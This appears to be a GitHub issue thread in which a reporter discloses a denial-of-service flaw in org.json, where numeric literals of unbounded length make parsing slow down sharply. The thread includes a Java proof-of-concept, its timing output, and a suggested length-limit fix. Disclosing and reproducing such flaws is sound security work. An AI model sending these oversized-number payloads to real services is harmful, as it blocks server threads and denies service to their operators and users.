[security disclosure] Unbounded numeric literal parsing causes resource exhaustion (DoS) — missing number length limit

[waydeshi]

Hi, I'd like to report a security issue in org.json that causes availability impact in applications that parse user-supplied JSON or XML.

Issue

When parsing a JSON or XML document containing a very large numeric literal (e.g. a number with tens of thousands of digits), the parser constructs a BigInteger or BigDecimal object from the raw string with no length limit. Because BigInteger construction has super-linear time complexity, a moderately sized request body can cause a server thread to block for several seconds.

This issue is present in JSONTokener.java and JSONObject.java. It affects all three primary parsing entry points: new JSONObject(String), new JSONArray(String), and XML.toJSONObject(String). No existing JSONParserConfiguration option (including withStrictMode(true)) prevents the behavior.

Affected versions: 20150729 through 20260522 (all releases since BigInteger/BigDecimal support was added).

CVSS 3.1: 5.9 Medium — AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE: CWE-400, CWE-770

Note on prior CVEs:

This is distinct from CVE-2022-45688 (XML nesting depth → StackOverflow) and CVE-2023-5072 (JSON structural nesting → StackOverflow). Both of those issues involve recursive call-stack depth and were fixed by catching StackOverflowError or adding a maxNestingDepth guard. The numeric string length issue is in a different code path and has not been addressed by either fix.

Suggested fix

Add a configurable maximum numeric literal length to JSONParserConfiguration, similar to Jackson's StreamReadConstraints.withMaxNumberLength() introduced in Jackson 2.15 (April 2023) with a default of 1,000 characters. A guard inside the accumulation loop in nextSimpleValue() would prevent construction of BigInteger/BigDecimal from excessively long strings.

Full security advisory available upon request via private channel.

[stleary]

@waydeshi Thanks for submitting this issue, looks like a valid concern. If you have code to recreate the bug, please post it here.

[waydeshi]

@stleary below is the PoC code.

POC Code

import org.json.*;

public class Poc2NumericDoSv2 {
    public static void main(String[] args) {
        System.out.println("=== CVE PoC: JSONTokener Unbounded Numeric String DoS ===");

        // Scaling: timing at different digit counts
        System.out.println("\n-- Unquoted numeric literal (JSONObject) --");
        int[] sizes = {10_000, 100_000, 200_000, 500_000, 1_000_000};
        for (int numLen : sizes) {
            String payload = "{\"x\":" + "9".repeat(numLen) + "}";
            long start = System.currentTimeMillis();
            JSONObject jo = new JSONObject(payload);
            long elapsed = System.currentTimeMillis() - start;
            System.out.printf("  %,7d digits (~%3d KB): %,5d ms  type=%s%n",
                numLen, payload.length()/1024, elapsed, jo.get("x").getClass().getSimpleName());
        }

        // All affected entry points
        System.out.println("\n-- All affected entry points (100K digits) --");
        String p = "9".repeat(100_000);
        long t;
        t = System.currentTimeMillis(); new JSONObject("{\"n\":" + p + "}");
        System.out.println("  new JSONObject(String):     " + (System.currentTimeMillis()-t) + " ms");
        t = System.currentTimeMillis(); new JSONArray("[" + p + "]");
        System.out.println("  new JSONArray(String):      " + (System.currentTimeMillis()-t) + " ms");
        t = System.currentTimeMillis(); XML.toJSONObject("<r>" + p + "</r>");
        System.out.println("  XML.toJSONObject(String):   " + (System.currentTimeMillis()-t) + " ms");

        // No configuration option prevents the DoS
        System.out.println("\n-- Configuration bypass attempts (100K digits) --");
        String payload100k = "{\"n\":" + p + "}";
        t = System.currentTimeMillis();
        new JSONObject(payload100k, new JSONParserConfiguration().withStrictMode(true));
        System.out.println("  withStrictMode(true):       " + (System.currentTimeMillis()-t) + " ms  [no protection]");
        t = System.currentTimeMillis();
        new JSONObject(payload100k, new JSONParserConfiguration().withKeepStrings(true));
        System.out.println("  withKeepStrings(true):      " + (System.currentTimeMillis()-t) + " ms  [no protection]");

        System.out.println("\nRESULT: [CONFIRMED VULNERABLE] No length guard exists in parsing chain.");
    }
}

Actual Execution Output (Reproduced Against json-20260522.jar)

Executions:

javac -cp json-20260522.jar Poc2NumericDoSv2.java
java -cp .:json-20260522.jar Poc2NumericDoSv2

=== CVE PoC: JSONTokener Unbounded Numeric String DoS ===

-- Unquoted numeric literal (JSONObject) --
   10,000 digits (~  9 KB):    17 ms  type=BigInteger
  100,000 digits (~ 97 KB):   123 ms  type=BigInteger
  200,000 digits (~195 KB):   479 ms  type=BigInteger
  500,000 digits (~488 KB): 2,975 ms  type=BigInteger
  1,000,000 digits (~976 KB): 11,909 ms  type=BigInteger

-- All affected entry points (100K digits) --
  new JSONObject(String):     121 ms
  new JSONArray(String):      120 ms
  XML.toJSONObject(String):   123 ms

-- Configuration bypass attempts (100K digits) --
  withStrictMode(true):       121 ms  [no protection]
  withKeepStrings(true):      124 ms  [no protection]

RESULT: [CONFIRMED VULNERABLE] No length guard exists in parsing chain.

Key observations:

• All three primary entry points (JSONObject, JSONArray, XML.toJSONObject) are equally affected
• Neither withStrictMode(true) nor withKeepStrings(true) reduces the delay
• A 488 KB payload produces a ~3 second thread blockage
• Scaling is super-linear: doubling digits from 500K to 1M increases parse time approximately 4× (consistent with O(n^1.585))

[waydeshi]

Hi @stleary have u got a chance to look into above PoC code and try?
Thx.